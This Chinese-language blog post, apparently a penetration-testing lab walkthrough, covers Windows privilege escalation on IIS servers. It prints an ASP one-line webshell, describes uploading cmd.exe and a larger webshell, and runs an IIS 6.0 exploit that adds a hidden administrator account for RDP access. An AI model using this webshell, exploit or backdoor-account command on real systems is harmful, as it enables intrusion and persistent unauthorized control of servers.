Windows提权第一篇-内核溢出漏洞提权

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Windows提权第一篇-内核溢出漏洞提权相关的知识,希望对你有一定的参考价值。

为什么需要提权

读取/写入敏感文件

重新启动之后权限维持

插入永久后门

Windows提权的常见方法

1.内核漏洞

2.错误的服务权限配置

3.DLL注入

4.始终以高权限安装程序

5.凭证存储

Windows系统常见命令

ipconfig /all 查询网络配置
dir 列出当前目录下的文件以及文件夹
whoami 显示当前用户
cd /d d: 进入d盘
md test 创建名为test的文件夹
copy nul 1.txt 创建空文件
type 1.txt 查看文件内容
del 1.txt 删除文件
del /f test 删除 test 文件夹下的所有文件
copy 1.txt d:\\doc 将1.txt复制到 d:\\doc 下
net user 查看所有用户
net user test 查看test用户信息
net user test password /add 添加用户
net user test /delete 删除 test 用户
net user test newPassword 重置 test 用户密码
tasklist 显示当前的进程信息
taskkill /im notedpad.exe 结束名为 notepad 的进程
taskkill /pid 1234 /t 结束pid为1234的进程以及其子进程
taskkill /f /im notepad.exe /t 强制结束名为 notepad 的进程及其子进程
wmic process where Caption="notepad.exe" get commandline,executablepath,processid /value 获取进程名为 notepad.exe 的命令行,exe 全路径,pid 号
netstat -ano 查看开启的端口连接情况
findstr /i "hello" 1.txt 忽略大小写在 1.txt 中寻找 hello 字符串
sc delete 服务名 删除服务
systeminfo 查看操作系统等版本信息
netstat -ano 查看端口列表
set 环境变量

内核溢出漏洞提权

在渗透测试过程中,经常遇到的windows服务器包括winserver2003、winserver2008、winserver2012

一般获取的是 iis_user 用户组权限

IIS权限

aspx > php => asp

apsx 默认可以执行终端命令,PHP 和 asp 在组件没有删除的情况下,可以上传 cmd 到可执行目录,执行命令

执行命令的组件:wscript.shell

拿shell

靶机是一个asp站点,存在文件上传

Bypass文件上传,上传asp一句话木马(和php一句话利用方式相同)

<%eval request ("pass")%>

使用蚁剑直接连接就好了

可以登录但是发现执行命令提示拒绝访问

可能的两种情况:

  1. cmd权限不足,没有命令执行权限,需要自己上传一个cmd.exe,注意windows server不能使用win10的cmd,需要对应版本
  2. 可能启用了安全模式(但是这里没有提示,那就应该是第一种)

解决方法:

  1. 重新设置一下cmd路径:如setp:C:\\inetpub\\wwwroot\\cmd.exe(可能不行)

  2. 上传一个大马(或者上线 cs)寻找可读写目录,重新上传一个cmd(版本需要匹配)

    上线cs方法(目前暂时使用大马的方式比较简单)

第一个方法不行,使用第二个方法-小马拉大马,传一个大马上去(咳咳,不要以为是靶机就直接仍上去一个大马,权限有问题)

发现支持wscript.shell组件,传上去一个cmd.exe(注意版本),到recyrler目录(一般这个目录都是可读写的)

在IIS中默认上传大小是200k,大于会报错,但是实际情况中不需要担心这个问题(靶机中如果手动上传后无法使用,要添加web用户权限)

再次执行命令whoami发现执行成功

提权过程

  1. 确保webshell中可以执行终端命令并收集信息
  2. 上传溢出 exp
  3. 执行命令

信息收集

systeminfo命令收集信息

检查Windows提权辅助工具,wesng主要帮助检测Windows安全缺陷,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo命令的结果来输出漏洞利用建议

或者这个网站也可:https://i.hacking8.com/tiquan/,将补丁号输入,查询可利用的 windows 提权

介绍一下wesng的用法

  1. 将wesng下载到本地主机上,先升级最新的漏洞数据库

    python wes.py --update
    

  2. 将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查

    python .\\wes.py -m .\\systeminfo.txt
    

  3. 使用漏洞库 https://www.exploit-db.com/ 找payload,上传至靶机中提取

提权

既然已经有poc了,提权就很easy了

上传iis6.0通用提权程序,拿到system权限

使用命令增加用户

C:\\RECYCLER\\iis6.0.exe "net user ocean ocean /add & net localgroup administrators ocean /add"

命令作用是:创建密码为ocean的ocean用户,并添加到管理员用户组

使用账号密码登录RDP

net user ocean

apsx提权

以上是asp程序的iis提权,apsx程序会比asp的权限高,默认是可以执行cmd命令的,如果在asp不能执行命令时,而网站支持aspx,则可以上传apsx木马进行提权

提权思路是一样的,就是不需要上传cmd.exe了,可以直接上传iis6.0.exe进行提权

参考文章:

http://wjlshare.com/archives/1566

https://cloud.tencent.com/developer/article/1667632

https://www.freebuf.com/articles/system/263139.html

以上是关于Windows提权第一篇-内核溢出漏洞提权的主要内容,如果未能解决你的问题,请参考以下文章

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权

CTF-内核漏洞提权

什么是本地提权漏洞和远程代码执行漏洞?

什么是电脑内核提权漏洞?

[提权]CVE-2018-8120漏洞复现

主机溢出提权漏洞分析